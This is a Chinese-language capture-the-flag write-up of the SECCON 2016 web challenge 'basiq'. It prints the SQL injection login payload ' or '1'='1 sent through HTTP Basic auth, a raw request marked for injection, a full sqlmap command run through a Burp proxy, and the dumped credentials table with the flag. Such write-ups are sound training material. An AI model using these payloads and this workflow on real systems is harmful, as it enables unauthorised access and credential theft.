SECCON 2016 Writeup – [Web] basiq

題目

主要目的是要我們找出管理員的密碼 題目在這邊

看樣子這是一個賽馬的網站呢, 既然如此那就讓我來賽個馬吧!, 玩著玩著就輸到脫褲子了…(沒天賦

過程

麻, 看樣子目標根本不是要讓我賽馬得冠軍, 獎品也不是管理員密碼, 只好認份的開始追蹤各種 API, 在測試了一輪後發現前台應該沒有洞

既然API本身沒有洞, 那就來看看 HTML 跟 JS 有沒有藏什麼東西吧!

在追蹤的過程中發現 javascripts/client.js 的 login 內有關於管理員的相關功能

function login(message){
    if(message.status!=='OK'){
        alert(message.error);
        return;
    }
    loginuser = message.data;
    $.getJSON('keiba.cgi?action=expenditure', expenditure);

    var links = [{label:'Race Information',href:'/'},{label:'My Page',href:'/mypage.cgi'}];
    if(loginuser == 'admin'){
        links.push({label:'Admin', href:'/admin/'});
    }
  // ..... 省略

來去逛逛 /admin/ 吧!!, 誒誒誒誒…竟然要密碼耶(這不是廢話嗎XD

來試試看老招吧, admin/' or '1'='1 於是就成功登進去了, 看樣子目標的洞在這裡啊

由於 HTTP Basic Authorization 要 經過 base64 encode, 但 sqlmap 並不能直接注入這個點, 因此得靠 proxy 去做 base64 encode

後來找到發現 Burpsuite 有插件 Encode Authorization Header 可以使用

因為注入點很奇怪, 所以要自行定義, 在錄製檔中用 * 表示注入點, sqlmap 會自己抓到

GET /admin/ HTTP/1.1
Host: basiq.pwn.seccon.jp
Authorization:Basic admin:*
User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36

接著呼叫 sqlmap

python sqlmap.py -r basiq.txt --ignore-401 --proxy=http://127.0.0.1:8080 --dbms mysql --threads 10 --dbs

由於注入點不在url 上, 也不是 POST, 因此 sqlmap 會詢問以下問題確認注入的位置

do you want to try URI injections in the target URL itself? [Y/n/q] n 
custom injection marking character ('*') found in option '--headers/--user-agent/--referer/--cookie'. Do you want to process it? [Y/n/q] Y

最終取得 admin 的密碼

Database: keiba
Table: ☹☺☻
[2 entries]
+----+-------+------------------+
| id | name  | pass             |
+----+-------+------------------+
| 0  | admin | SECCON{Carnival} |
| 1  | aa    | ' or 1;#         |
+----+-------+------------------+

Flag

SECCON{Carnival}

後記

用 emoji 當 table name 實在是很有梗啊